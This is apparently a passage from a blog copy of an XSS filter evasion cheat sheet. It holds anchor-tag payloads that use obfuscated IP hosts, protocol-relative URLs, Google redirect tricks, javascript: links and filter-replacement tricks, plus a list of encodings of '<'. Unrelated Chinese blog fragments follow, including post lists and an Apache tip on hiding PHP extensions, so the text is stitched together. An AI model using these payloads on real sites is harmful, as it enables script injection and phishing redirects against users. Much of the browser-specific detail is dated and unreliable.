<A HREF="h tt p://6&#9;6.000146.0x7.147/">XSS</A>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Protocol resolution bypass (// translates to http:// which saves a few more bytes). This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like "(ht|f)tp(s)?://" (thanks to Ozh for part of this one). You can also change the "//" to "\". You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL.
<A HREF="//www.google.com/">XSS</A>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Google "feeling lucky" part 1. Firefox uses Google's "feeling lucky" function to redirect the user to any keywords you type in. So if your exploitable page is the top for some random keyword (as you see here) you can use that feature against any Firefox user. This uses Firefox's "keyword:" protocol. You can concatinate several keywords by using something like the following "keyword:XSS+RSnake" for instance. This no longer works within Firefox as of 2.0. <A HREF="//google">XSS</A>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Google "feeling lucky" part 2. This uses a very tiny trick that appears to work Firefox only, because if it's implementation of the "feeling lucky" function. Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic Auth phishing attack, which it is not. It's simply a malformed URL. If you click okay on the dialogue it will work, but as a result of the erroneous dialogue box I am saying that this is not supported in Opera, and it is no longer supported in Firefox as of 2.0:
<A HREF="http://ha.ckers.org@google">XSS</A>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Google "feeling lucky" part 3. This uses a malformed URL that appears to work in Firefox and Opera only, because if their implementation of the "feeling lucky" function. Like all of the above it requires that you are #1 in Google for the keyword in question (in this case "google"):
<A HREF="http://google:ha.ckers.org">XSS</A>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Removing cnames (when combined with the above URL, removing "www." will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly):
<A HREF="http://google.com/">XSS</A>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Extra dot for absolute DNS:
<A HREF="http://www.google.com./">XSS</A>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

JavaScript link location:
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Content replace as attack vector (assuming "http://www.google.com/" is programmatically replaced with nothing). I actually used a similar attack vector against a several separate real world XSS filters by using the conversion filter itself (here is an example) to help create the attack vector (IE: "java&#x26;#x09;script:" was converted into "java&#x09;script:", which renders in IE, Netscape 8.1+ in secure site mode and Opera):
<A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Character Encoding:

All the possible combinations of the character "<" in HTML and JavaScript (in UTF-8). Most of these won't render out of the box, but many of them can get rendered in certain circumstances as seen above (standards are great, aren't they?):
< %3C &lt &lt; &LT &LT; &#60 &#060 &#0060 &#00060 &#000060 &#0000060 &#60; &#060; &#0060; &#00060; &#000060; &#0000060; &#x3c &#x03c &#x003c &#x0003c &#x00003c &#x000003c &#x3c; &#x03c; &#x003c; &#x0003c; &#x00003c; &#x000003c; &#X3c &#X03c &#X003c &#X0003c &#X00003c &#X000003c &#X3c; &#X03c; &#X003c; &#X0003c; &#X00003c; &#X000003c; &#x3C &#x03C &#x003C &#x0003C &#x00003C &#x000003C &#x3C; &#x03C; &#x003C; &#x0003C; &#x00003C; &#x000003C; &#X3C &#X03C &#X003C &#X0003C &#X00003C &#X000003C &#X3C; &#X03C; &#X003C; &#X0003C; &#X00003C; &#X000003C; x3c x3C u003c u003C

Character Encoding Calculator

随机日志

• 2008年12月9日 // firefox插件：浏览帖子必用利器之 AutoPager (0)
• 2009年11月3日 // UBUNTU安装微软雅黑 (2)
• 2008年12月19日 // 荒野无灯——叶延滨 (0)
• 2011年01月6日 // zend studio 8.0常用快捷键 (2)
• 2010年06月8日 // VS2010中文旗舰版 (2)
• 2010年10月9日 // 千千静听5.7 手动去广告 (8)

http://www.xxx.com/index.php/module/xxx/action/xxx/id/xxx

但是index.php能看到扩展名很不爽，解决方法如下：

如何隐蔽应用：例如 .php，的扩展名：
在APACHE中这样配置：

ForceType application/x-httpd-php

如何更像静态页面：app_name/my/app.html
解析的PATH_INFO参数的时候，把最后一个参数的最后5个字符“.html”截断即可。
注意：APACHE2中缺省是不允许PATH_INFO的，需要设置 AcceptPathInfo on

http://www.xxx.com/index/module/xxx/action/xxx/id/xxx

随机日志

• 2010年09月18日 // 修正Adobe Reader 9 linux 版书签Bookmarks跑出左侧tab的情况 (3)
• 2011年10月18日 // 玩转Android之无线连网和远程控制 (1)
• 2009年08月14日 // UBUNTU启用3d效果后出现错误 (1)
• 2009年12月6日 // 最近折腾blogshow (8)
• 2011年11月29日 // 用TOC For Wordpress自动为文章生成目录 (6)
• 2008年12月31日 // 主板系列知识：主板结构 (0)